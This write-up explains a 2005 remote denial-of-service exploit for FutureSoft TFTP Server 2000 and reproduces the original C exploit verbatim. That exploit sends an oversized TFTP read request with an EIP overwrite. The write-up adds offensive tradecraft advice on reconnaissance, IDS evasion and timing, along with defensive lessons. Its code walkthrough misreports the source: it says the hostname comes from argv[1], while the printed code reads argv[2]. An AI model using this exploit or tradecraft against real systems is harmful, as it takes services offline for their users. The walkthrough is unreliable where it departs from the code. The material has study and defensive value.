FutureSoft TFTP Server 2000 Remote DoS Exploit Explained

What this paper is

This paper describes a remote Denial of Service (DoS) vulnerability in FutureSoft TFTP Server 2000. The exploit, coded by ATmaCA, leverages a flaw in how the server handles malformed TFTP Read Request (RRQ) packets. By sending a specially crafted packet, an attacker can cause the TFTP server process to crash, making it unavailable to legitimate users. This is a classic example of a buffer overflow or malformed packet vulnerability leading to a DoS condition.

Simple technical breakdown

The TFTP protocol is a simple file transfer protocol. When a client wants to read a file from a TFTP server, it sends a Read Request (RRQ) packet. This packet contains the filename and the transfer mode (like ASCII or binary).

The vulnerable FutureSoft TFTP Server 2000, when receiving an RRQ packet, expects a specific structure. This exploit sends an RRQ packet that is much longer than expected and contains malformed data. Specifically, it sends a very long string of 'A' characters, followed by what appears to be intended to overwrite the Instruction Pointer (EIP) with 0x58585858, and then some padding and a null-terminated string "netascii".

This oversized and malformed packet likely causes the server to misinterpret the data, leading to an attempt to execute invalid instructions or access memory it shouldn't, ultimately causing the server process to crash.

Complete code and payload walkthrough

The provided C code implements a UDP client to send the malicious TFTP packet.

Code Structure:

• Includes and Pragmas:

  • #include <windows.h>: For Windows-specific API functions like WSADATA, WSAStartup, SOCKET, closesocket, Sleep.
  • #include <stdio.h>: For standard input/output functions like printf, exit.
  • #pragma comment(lib, "ws2_32.lib"): Links the Winsock 2.0 library, which is necessary for network programming on Windows.

• expbuffer Array:

  • This char array holds the raw bytes of the malicious TFTP packet.
  • "\x00\x01": This is the TFTP opcode for a Read Request (RRQ).
  • "\x41\x41\x41\x41...": A very long sequence of 'A' characters (hex 0x41). This is the core of the overflow. The server likely expects a filename of a certain length, and this extremely long string exceeds that expectation.
  • "\x58\x58\x58\x58": These four bytes are intended to overwrite the Extended Instruction Pointer (EIP) on the stack. In many architectures, EIP points to the next instruction to be executed. By overwriting it with 0x58585858 (which is 'XXXX' in ASCII), the program will attempt to jump to an invalid memory address, causing a crash.
  • "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90": These are NOP (No Operation) instructions. They are often used as padding or to create a "landing zone" for shellcode. In this specific DoS exploit, their purpose is less about executing shellcode and more about filling space after the EIP overwrite, potentially influencing how the crash occurs.
  • "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41": More 'A' characters, likely serving as further padding.
  • "\x00\x00": Two null bytes. These often serve as delimiters in TFTP packets, separating different fields.
  • "\x6E\x65\x74\x61\x73\x63\x69\x69\x00": This sequence of bytes represents the ASCII string "netascii" followed by a null terminator. "netascii" is a common transfer mode in TFTP.

• main Function:

  • Argument Handling:
    • Checks argc (argument count). If less than 2, it prints usage information and exits.
    • If argc is 3, it parses the third argument as the target port using atoi(), defaulting to 69 if not provided.
  • Winsock Initialization:
    • wVersionRequested = MAKEWORD(1, 1);: Specifies the desired Winsock version (1.1).
    • WSAStartup(wVersionRequested, &wsaData);: Initializes the Winsock library. If it fails, an error message is printed.
  • Socket Creation:
    • mysocket = socket(AF_INET, SOCK_DGRAM, 0);: Creates a UDP socket (SOCK_DGRAM). TFTP typically uses UDP.
    • Checks if socket() returned INVALID_SOCKET.
  • Host Resolution:
    • pTarget = gethostbyname(argv[1]);: Resolves the target IP address or hostname provided as the first argument.
    • If gethostbyname() fails, an error message is printed.
    • memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);: Copies the resolved IP address into the sockaddr_in structure.
  • Socket Configuration:
    • sock.sin_family = AF_INET;: Sets the address family to IPv4.
    • sock.sin_port = htons(destPORT);: Sets the destination port, converting it to network byte order.
  • Connection (for UDP):
    • connect(mysocket, (struct sockaddr *)&sock, sizeof (sock));: For UDP, connect() doesn't establish a persistent connection. Instead, it "binds" the socket to a specific remote address and port. This simplifies subsequent send() and recv() calls by not requiring the destination address to be specified each time.
    • Checks if connect() failed.
  • Packet Sending:
    • printf("RRQ->Sending packet. Size: %d\n",sizeof(expbuffer));: Prints the size of the crafted packet.
    • send(mysocket, expbuffer, sizeof(expbuffer)+1, 0);: Sends the malicious expbuffer over the UDP socket. The +1 is to include the null terminator if sizeof is used on a string literal, though in this case, it's a char array and sizeof(expbuffer) correctly reflects its size. The intent is to send the entire buffer.
    • Checks if send() returned -1 (an error).
  • Cleanup:
    • closesocket(mysocket);: Closes the socket.
    • WSACleanup();: Uninitializes Winsock.

Mapping:

• "\x00\x01" -> TFTP Read Request (RRQ) opcode.
• "\x41\x41\x41\x41..." (long sequence) -> Malformed filename/data causing buffer overflow or malformed packet handling.
• "\x58\x58\x58\x58" -> Intended overwrite of the Instruction Pointer (EIP) with 0x58585858.
• "\x90\x90\x90\x90..." (NOPs) -> Padding, potential landing zone for shellcode (though not used for execution here).
• "\x00\x00" -> Delimiters in TFTP packet structure.
• "\x6E\x65\x74\x61\x73\x63\x69\x69\x00" -> "netascii" transfer mode string.
• main() -> Orchestrates the exploit by initializing network components, crafting and sending the malicious packet.
• socket(AF_INET, SOCK_DGRAM, 0) -> Creates a UDP socket for communication.
• gethostbyname() -> Resolves the target IP address.
• connect() (for UDP) -> Associates the socket with the target IP and port.
• send() -> Transmits the crafted malicious packet.

Practical details for offensive operations teams

• Required Access Level: Network access to the target host. No local access is required as this is a remote exploit.
• Lab Preconditions:
  • A vulnerable FutureSoft TFTP Server 2000 instance running on a target Windows machine.
  • Network connectivity between the attacker machine and the target.
  • The TFTP server must be listening on UDP port 69 (or the specified port).
• Tooling Assumptions:
  • A Windows machine to compile and run the exploit code.
  • A C compiler (e.g., MinGW, Visual Studio).
  • The ws2_32.lib library, which is standard with Windows development kits.
• Execution Pitfalls:
  • Firewalls: UDP port 69 might be blocked by network firewalls.
  • Incorrect Version: The exploit is specific to "TFTP Server 2000 Evaluation Version 1.0.0.1". Other versions or TFTP servers will not be vulnerable.
  • Network Latency/Packet Loss: UDP is unreliable. If the packet is lost or significantly delayed, the exploit might not reach the server, or it might arrive after the server has processed other legitimate requests, potentially leading to a different state.
  • EIP Overwrite Value: The 0x58585858 value is specific to the expected stack layout and instruction set of the target architecture. If the target system has different memory protections or a different architecture, this specific value might not cause a crash or might lead to a different outcome. However, for a DoS, any invalid address jump is usually sufficient.
  • Server Restart: The DoS is temporary. The TFTP server process will likely crash and may or may not automatically restart. The system administrator might need to manually restart the service.
• Tradecraft Considerations:
  • Reconnaissance: Confirm the presence and version of the TFTP server. Identify the listening port.
  • Stealth: UDP traffic can be less scrutinized than TCP, but sending a large, malformed packet might still trigger IDS/IPS systems if they are configured to inspect UDP payloads.
  • Timing: Consider the impact of the DoS on the target environment. Is it a critical service? Is it a test environment?
  • Payload Delivery: This exploit is purely for DoS. It does not provide remote code execution. If the goal is persistence or data exfiltration, a different exploit would be needed.

Where this was used and when

• Context: This exploit targets a specific, older version of a TFTP server. Such vulnerabilities were common in the early to mid-2000s as software development practices for network services were maturing.
• Approximate Year: The exploit was published on June 2, 2005. Therefore, its practical use would have been around this time and in the preceding years when the vulnerable software was in use. It's unlikely to be effective against modern, patched systems or different TFTP server implementations.

Defensive lessons for modern teams

• Input Validation is Crucial: Always validate the size and format of incoming data, especially from network services. Unexpectedly large inputs or malformed structures are red flags.
• Secure TFTP Implementations: Use TFTP servers that are actively maintained and patched. Consider alternatives if TFTP is not strictly necessary, or implement it with strong access controls and monitoring.
• Network Segmentation and Firewalls: Restrict access to TFTP ports (UDP 69) to only necessary hosts and networks.
• Intrusion Detection/Prevention Systems (IDS/IPS): Configure IDS/IPS to detect and alert on malformed network packets, especially those targeting known vulnerable services. Signature-based detection for specific exploits like this can be effective.
• Regular Patching and Updates: Keep all server software, including TFTP servers, up-to-date with the latest security patches.
• Principle of Least Privilege: Run network services with the minimum necessary privileges to limit the impact of a compromise.
• Memory Protection: Modern operating systems employ memory protection techniques (like ASLR, DEP) that make classic stack-based buffer overflows and EIP overwrites more difficult, though not impossible.

ASCII visual (if applicable)

This exploit is a direct packet injection, so a complex architecture diagram isn't strictly necessary. However, we can visualize the packet flow:

+-----------------+      +------------------------+
| Attacker Machine|      | Target: FutureSoft     |
| (Exploit Client)|      | TFTP Server 2000       |
+-----------------+      +------------------------+
        | UDP Send (Malicious Packet)
        |--------------------------------------->
        |
        | (Server receives malformed RRQ)
        | (Buffer overflow/Invalid instruction)
        |
        | (Server process crashes)
        | <---------------------------------------
        | (Service becomes unavailable)

Source references

• Paper ID: 1027
• Paper Title: FutureSoft TFTP Server 2000 - Remote Denial of Service
• Author: ATmaCA
• Published: 2005-06-02
• Keywords: Windows, dos
• Paper URL: https://www.exploit-db.com/papers/1027
• Raw URL: https://www.exploit-db.com/raw/1027

Original Exploit-DB Content (Verbatim)

/*
*
* FutureSoft TFTP Server 2000 Remote Denial of Service Exploit
* http://www.futuresoft.com/products/lit-tftp2000.htm
* Bug Discovered by SIG^2 (http://www.security.org.sg)
* Exploit coded By ATmaCA
* Web: atmacasoft.com && spyinstructors.com
* E-Mail: atmaca@icqmail.com
* Credit to kozan
* Usage:tftp_exp <targetIp> [targetPort]
*
*/

/*
*
* Vulnerable Versions:
* TFTP Server 2000 Evaluation Version 1.0.0.1
*
*/

#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

/* |RRQ|AAAAAAAAAAAAAAAA....|NULL|netasc|NULL| */
char expbuffer[] =
"\x00\x01"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x58\x58\x58\x58" /* EIP */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00\x00\x6E\x65\x74\x61\x73\x63\x69"
"\x69\x00";

void main(int argc, char *argv[])
{
        WSADATA wsaData;
        WORD wVersionRequested;
        struct hostent *pTarget;
        struct sockaddr_in sock;
        SOCKET mysocket;
        int destPORT = 69;//Default to 69

        if (argc < 2){
                printf("FutureSoft TFTP Server 2000 Remote Denial of Service Exploit\n");
                printf("http://www.futuresoft.com/products/lit-tftp2000.htm\n");
                printf("Bug Discovered by SIG^2 (http://www.security.org.sg)\n");
                printf("Exploit coded By ATmaCA\n");
                printf("Web: atmacasoft.com && spyinstructors.com\n");
                printf("E-Mail: atmaca@icqmail.com\n");
                printf("Credit to kozan\n");
                printf("Usage:tftp_exp <targetIp> [targetPort]\n");
                return;
        }
        if (argc==3)
                destPORT=atoi(argv[2]);

        printf("Requesting Winsock...\n");
        wVersionRequested = MAKEWORD(1, 1);
        if (WSAStartup(wVersionRequested, &wsaData) < 0) {
                printf("No winsock suitable version found!");
                return;
        }
        mysocket = socket(AF_INET, SOCK_DGRAM	, 0);
        if(mysocket==INVALID_SOCKET){
                printf("Can't create UDP socket\n");
                exit(1);
        }
        printf("Resolving Hostnames...\n");
        if ((pTarget = gethostbyname(argv[2])) == NULL){
                printf("Resolve of %s failed\n", argv[1]);
                exit(1);
        }
        memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
        sock.sin_family = AF_INET;
        sock.sin_port = htons(destPORT);

        printf("Connecting...\n");
        if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) ))){
                printf("Couldn't connect to host.\n");
                exit(1);
        }

        printf("Connected!...\n");
        Sleep(10);

        printf("RRQ->Sending packet. Size: %d\n",sizeof(expbuffer));
        if (send(mysocket,expbuffer, sizeof(expbuffer)+1, 0) == -1){
                printf("Error sending packet\n");
                closesocket(mysocket);
                exit(1);
        }
        printf("Packet sent........\n");
        printf("Success.\n");

        closesocket(mysocket);
        WSACleanup();
}

// milw0rm.com [2005-06-02]